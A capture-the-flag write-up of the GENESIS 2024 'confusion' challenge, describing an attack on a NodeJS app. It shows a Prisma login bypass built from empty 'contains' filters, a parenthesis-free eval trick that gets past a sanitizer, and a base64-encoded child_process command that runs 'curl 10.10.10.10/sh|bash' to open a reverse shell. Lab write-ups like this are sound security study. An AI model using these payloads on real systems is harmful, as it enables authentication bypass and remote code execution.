[CTF] GENESIS - CONFUSION

This writeup covers the challenge called confusion that occurred in the first GENESIS 2024 Crowsec CTF.

The description of the challenge was: “Preciso de pessoas com domínio pleno de code-review, você pode encontrar a vulnerabilidade ?”

Looking at the code we can known that is an application in NodeJS, it’s important to perform the code review thinking in the aspects of the language, common vulnerabilities and behaviors. To conduct correct requests, we need to follow the routes described in “core/router.js”.

Each route is mapped to files inside controllers folder.

There are two files inside controllers, auth and sandbox that will be interesting in the last process of the exploitation.

Following the “auth.js “that is the first step of the approach, we can see that the profile endpoint cannot be used without authentication, only “/login”.

In “/login” apparently isn’t have common vulnerabilities inside the function, but searching more about prisma, it’s a framework to perform interactions with database. Perhaps “findFirstOrThrow” can be used to perform some bypass in the authentication process. In the documentation the function doesn’t have many examples of use, but we can look other find functions as an example (model queries).

There is a condition inside where that can be used as bypass

https://www.prisma.io/docs/orm/prisma-client/queries/transactions#the-transaction-api

With this format of JSON we can bypass the authentication process.

{
	"email":{
		"contains":""
	},
	"password":{
		"contains":""
	}
}

In my approach, I was able to bypass the login route using null prototypes, look the image the return of the JWT. Now we have access in the rest of the application scope.

Following the application code, there is an interesting function called “sanitize” that perform some sanitizing in the user input through the “code” parameter. The function is located in the “js-sanitize” module.

In summary the sanitize function, it follows in the next example image, the user code is sanitized and the result is passed as string to line 26 that will declare the function and execute it. Thinking about this behavior, we need to reproduce a payload that don’t needs of parenthesis and some selected words used to call "require".

On the internet there are some examples talking about how to call JavaScript functions without parenthesis like the article of Gareth Heyes https://portswigger.net/research/executing-non-alphanumeric-javascript-without-parenthesis

Sending the payload we can reproduce the 25 output, executing Javascript without parenthesis. There are more simple way to call it, but in this example I’m focusing in the approach that I used in the CTF challenge.

[].map.call`${eval}console.log\x285*5\x29`

With JavaScript code execution, we can try to call system functions, but remember we can’t use require and global directory, so it will be passed through a base64 code, decoded and executed, to perform this we use the new Buffer in the format:

new Buffer('YmFzZTY0Cg==',base64).toString('ascii')

This payload was used to create the correct base64 declaring the require and executing system commands spawning a reverse shell.

echo "var require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('curl 10.10.10.10/sh|bash')" |base64 -w0

After send the payload a connection was received and we can get a flag.